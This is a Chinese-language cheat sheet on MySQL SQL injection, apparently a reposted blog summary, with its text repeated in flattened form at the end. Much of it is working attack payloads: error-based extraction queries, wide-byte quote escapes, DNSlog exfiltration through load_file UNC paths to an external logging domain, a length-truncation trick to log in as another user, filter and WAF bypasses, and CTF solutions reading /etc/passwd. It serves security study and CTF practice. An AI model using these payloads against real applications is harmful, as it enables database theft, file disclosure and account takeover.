史上最水的MYSQL注入总结
字数 3575 2025-08-26 22:11:15

MySQL注入技术全面总结

0x01 MySQL基础知识

字符串操作函数

  1. 截取函数

    • left(str, index) - 从左边第index开始截取
    • right(str, index) - 从右边第index开始截取
    • substring(str, index) - 从左边index开始截取
    • substr(str, index, len) - 截取str从index开始,截取len长度
    • mid(str, index, len) - 截取str从index开始,截取len长度
  2. 比较函数

    • strcmp(expr1, expr2) - 相同返回0,expr1<expr2返回-1
    • find_in_set(str, strlist) - 相同返回1,不同返回0
  3. 连接函数

    • concat(str1, str2) - 字符串首尾相连
    • concat_ws(separator, str1, str2) - 用指定连接符连接
    • group_concat() - 分组连接
  4. 其他函数

    • instr(str1, substr) - 返回子串第一次出现的位置
    • lpad(str, len, padstr)/rpad(str, len, padstr) - 左右填充到指定长度

运算符

  1. 算术运算符+ - * /
  2. 比较运算符
    • =
    • betweenselect database() between 0x61 and 0x7a
    • inselect '123' in ('12') => 0
    • like(模糊匹配):select '12345' like '12%' => true
    • regexprlike(正则匹配):select '123455' regexp '^12' => true
  3. 逻辑运算符
    • not!
    • AND 逻辑与 == &&
    • OR 逻辑或 == ||
    • XOR 逻辑异或 == ^
  4. 位运算符& | ^ ! << >>

常用函数

  1. 延时函数
    • sleep()
    • benchmark(1000000, sha(1))
  2. 编码函数
    • hex()
    • ascii()
  3. 文件函数
    • load_file() - 读取文件
    • outfile - 写入文件

构造语句知识

  1. 条件语句

    • if(expr1, expr2, expr3) - expr1为true执行expr2否则执行expr3
    • select case when (条件) then 代码1 else 代码2 end
  2. information_schema结构

    • information_schema.tables:查询表名(table_name)和对应数据库名(table_schema)
    • information_schema.columns:查询列名(column_name)和对应表名(table_schema)
  3. 空白字符

    • %20 %09 %0a %0b %0c %0d %a0 /**/ tab %a0
    • 内联注释:/*!*/
    • 特殊用法:
      • 函数名和括号间插入特殊字符:concat/**/()
      • {identifier expr}select {x 1} from {x test} limit 1

0x02 MySQL报错注入

常见payload:

  1. floor()

    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    
  2. updatexml() (5.1.5+):

    and 1=(updatexml(1,concat(0x3a,(select user())),1))
    
  3. extractvalue() (5.1.5+):

    and extractvalue(1,concat(0x5c,(select user())))
    
  4. exp() (5.5.5+):

    select host from user where user = 'root' and Exp(~(select * from (select version())a));
    
  5. name_const (支持老版本):

    select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
    
  6. 几何函数

    select multipoint((select * from (select * from (select * from (select version())a)b)c));
    

0x03 宽字节注入

原理

  1. MYSQL client链接编码问题

    • 查看编码:show variables like '%character%'
    • 当客户端连接编码设置为GBK时,与PHP交互会出现字符转换导致单引号逃逸
    • 测试payload:index.php?id=%df%27
    • 流程:%df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運'
  2. MYSQL iconv/mb_convert_encoding函数问题

    • %df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27
    • UTF8 -> GBK -> UTF-8转换导致低位%5c(反斜杠)干掉了转义单引号的反斜杠
  3. Big5编码问题

    • 功' -> addsalshes -> 功\' -> iconv -> %A5%5C%5C%27->¥\' 逃逸单引号

0x04 DNSlog SQL盲注

在mysql中load_file会带DNS查询请求

  1. 查看权限:show variables like '%secure%'

    • secure_file_priv为空:可读取磁盘目录
    • secure_file_priv为G:\:可读取G盘文件
    • secure_file_priv为null:禁用load_file函数
  2. UNC路径(网络共享文件方式):

    • \\xq17.com\tet(实际需要4个\转义)
    • 示例:
      select load_file(concat(0x5c5c5c5c,version(),0x2E66326362386131382E646E736C6F672E6C696E6B2F2F616263));
      

注意

  • 二级域名需要加点将返回信息放在三级域名
  • 对数据尽量加密处理,避免特殊字符导致传输失败

0x05 MySQL约束攻击

原理

  1. MySQL的SELECT查询进行字符串比较时,不同长度字符串会用空格填充到相同长度再比较
  2. MySQL插入数据时,当数据超过定义长度会出现截断现象

利用过程

目标:越权登陆xq17用户

  1. 注册用户名:xq17 1(空格填充长度需要大于10),密码为1234560
  2. 登陆时传入目标用户名'xq17'和我们注册的密码

防御措施

  1. 加UNIQUE约束
  2. 代码获取用户名写进session时用返回结果

0x06 注入场景分析

同表注入

获取当前注入点所在表的信息,常见于后台登陆、CTF考点

  1. 过滤information_schema时的突破

    • 报错注入获取表名:and polygon(id)#
    • 通过USING爆列名:
      select * from (select * from test as a join test as b using(id,name))as c;
      
  2. 过滤字段名但可UNION

    • 通过ORDER BY进行降序排序判断内容
    • 示例:
      select * from test where name='xq17' union select 1,'x',3 order by name;
      
  3. 限制UNION SELECT等关键词

    • 使用比较运算符:
      select * from test where name='xq17' && password<'2'
      

绕过关键词过滤注入

  1. 过滤=

    • 函数绕过:strcmp(), locate(s1,s), position(s1 in s), instr(s,s1), greatest(), find_in_set()
    • < > <>
    • like, regexp
    • inselect "123" in ("123"); => 1
  2. 过滤ascii() hex() bin() ord()

    • 使用其他编码函数或直接比较
  3. 过滤substr() mid()等

    • left(), right(), mid(), substr(), substring(), lpad(), rpad()
  4. 过滤字段名

    select e.3 from (select * from (select 1)b,(select 2)c,(select 3)a union select * from test)e;
    
  5. 过滤逗号

    • limit 0,1 => limit 1 offset 0;
    • mid(str,5,1) => mid('str' from 5 for 1)
    • union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c;
  6. 硬匹配函数体

    • version() => version()
    • version() => version/**/()
  7. UNION开头正则过滤

    select * from test where name=0.1union select 1,2,3;
    select * from test where name=1E1union select 1,2,3;
    select * from test where name=\Nunion select 1,2,3; //\N => null
    
  8. 传递敏感字符或过滤单引号

    • 将内容进行hex编码:select * from test where name=0x78713137;
  9. /union select/匹配绕过

    union distinct select 1,2,3
    

0x07 CTF题目分析

HCTF Kzone

  1. 漏洞点:member.php文件中的cookie注入

    $login_data = json_decode($_COOKIE['login_data'], true);
    $admin_user = $login_data['admin_user'];
    $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
    
  2. 绕过方法:

    • JSON Unicode编码绕过WAF:\u+4个十六进制数字
    • 弱类型比较绕过:sha1($udata['password'] . LOGIN_KEY) == 3

安恒11月赛-好黑的黑名单

  1. 绕过空格过滤:使用%0a

    (select%0aflag%0afrom%0aflag)
    
  2. 绕过单引号过滤:使用hex编码

    if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)
    

安恒11月赛-ezsql

  1. 不使用SELECT的文件操作:
    if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)
    

0x08 总结

本文全面总结了MySQL注入的各种技术,包括基础知识、报错注入、宽字节注入、DNSlog盲注、约束攻击等高级技术,以及在实际CTF比赛中的应用。掌握这些技术对于Web安全研究和渗透测试至关重要。

MySQL注入技术全面总结 0x01 MySQL基础知识 字符串操作函数 截取函数 : left(str, index) - 从左边第index开始截取 right(str, index) - 从右边第index开始截取 substring(str, index) - 从左边index开始截取 substr(str, index, len) - 截取str从index开始,截取len长度 mid(str, index, len) - 截取str从index开始,截取len长度 比较函数 : strcmp(expr1, expr2) - 相同返回0,expr1 <expr2返回-1 find_in_set(str, strlist) - 相同返回1,不同返回0 连接函数 : concat(str1, str2) - 字符串首尾相连 concat_ws(separator, str1, str2) - 用指定连接符连接 group_concat() - 分组连接 其他函数 : instr(str1, substr) - 返回子串第一次出现的位置 lpad(str, len, padstr) / rpad(str, len, padstr) - 左右填充到指定长度 运算符 算术运算符 : + - * / 比较运算符 : = between : select database() between 0x61 and 0x7a in : select '123' in ('12') => 0 like (模糊匹配): select '12345' like '12%' => true regexp 或 rlike (正则匹配): select '123455' regexp '^12' => true 逻辑运算符 : not 或 ! 非 AND 逻辑与 == && OR 逻辑或 == || XOR 逻辑异或 == ^ 位运算符 : & | ^ ! << >> 常用函数 延时函数 : sleep() benchmark(1000000, sha(1)) 编码函数 : hex() ascii() 文件函数 : load_file() - 读取文件 outfile - 写入文件 构造语句知识 条件语句 : if(expr1, expr2, expr3) - expr1为true执行expr2否则执行expr3 select case when (条件) then 代码1 else 代码2 end information_ schema结构 : information_schema.tables :查询表名(table_ name)和对应数据库名(table_ schema) information_schema.columns :查询列名(column_ name)和对应表名(table_ schema) 空白字符 : %20 %09 %0a %0b %0c %0d %a0 /**/ tab %a0 内联注释: /*!*/ 特殊用法: 函数名和括号间插入特殊字符: concat/**/() {identifier expr} : select {x 1} from {x test} limit 1 0x02 MySQL报错注入 常见payload: floor() : updatexml() (5.1.5+): extractvalue() (5.1.5+): exp() (5.5.5+): name_ const (支持老版本): 几何函数 : 0x03 宽字节注入 原理 MYSQL client链接编码问题 : 查看编码: show variables like '%character%' 当客户端连接编码设置为GBK时,与PHP交互会出现字符转换导致单引号逃逸 测试payload: index.php?id=%df%27 流程: %df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運' MYSQL iconv/mb_ convert_ encoding函数问题 : %df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27 UTF8 -> GBK -> UTF-8转换导致低位%5c(反斜杠)干掉了转义单引号的反斜杠 Big5编码问题 : 功' -> addsalshes -> 功\' -> iconv -> %A5%5C%5C%27->¥\' 逃逸单引号 0x04 DNSlog SQL盲注 在mysql中 load_file 会带DNS查询请求 查看权限: show variables like '%secure%' secure_file_priv 为空:可读取磁盘目录 secure_file_priv 为G:\:可读取G盘文件 secure_file_priv 为null:禁用 load_file 函数 UNC路径(网络共享文件方式): \\xq17.com\tet (实际需要4个\转义) 示例: 注意 : 二级域名需要加点将返回信息放在三级域名 对数据尽量加密处理,避免特殊字符导致传输失败 0x05 MySQL约束攻击 原理 MySQL的SELECT查询进行字符串比较时,不同长度字符串会用空格填充到相同长度再比较 MySQL插入数据时,当数据超过定义长度会出现截断现象 利用过程 目标:越权登陆xq17用户 注册用户名: xq17 1 (空格填充长度需要大于10),密码为1234560 登陆时传入目标用户名'xq17'和我们注册的密码 防御措施 加UNIQUE约束 代码获取用户名写进session时用返回结果 0x06 注入场景分析 同表注入 获取当前注入点所在表的信息,常见于后台登陆、CTF考点 过滤information_ schema时的突破 : 报错注入获取表名: and polygon(id)# 通过USING爆列名: 过滤字段名但可UNION : 通过ORDER BY进行降序排序判断内容 示例: 限制UNION SELECT等关键词 : 使用比较运算符: 绕过关键词过滤注入 过滤= : 函数绕过: strcmp() , locate(s1,s) , position(s1 in s) , instr(s,s1) , greatest() , find_in_set() < > <> like , regexp in : select "123" in ("123"); => 1 过滤ascii() hex() bin() ord() : 使用其他编码函数或直接比较 过滤substr() mid()等 : left() , right() , mid() , substr() , substring() , lpad() , rpad() 过滤字段名 : 过滤逗号 : limit 0,1 => limit 1 offset 0; mid(str,5,1) => mid('str' from 5 for 1) union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c; 硬匹配函数体 : version() => version () version() => version/**/() UNION开头正则过滤 : 传递敏感字符或过滤单引号 : 将内容进行hex编码: select * from test where name=0x78713137; /union select/匹配绕过 : 0x07 CTF题目分析 HCTF Kzone 漏洞点: member.php 文件中的cookie注入 绕过方法: JSON Unicode编码绕过WAF: \u+4个十六进制数字 弱类型比较绕过: sha1($udata['password'] . LOGIN_KEY) == 3 安恒11月赛-好黑的黑名单 绕过空格过滤:使用 %0a 绕过单引号过滤:使用hex编码 安恒11月赛-ezsql 不使用SELECT的文件操作: 0x08 总结 本文全面总结了MySQL注入的各种技术,包括基础知识、报错注入、宽字节注入、DNSlog盲注、约束攻击等高级技术,以及在实际CTF比赛中的应用。掌握这些技术对于Web安全研究和渗透测试至关重要。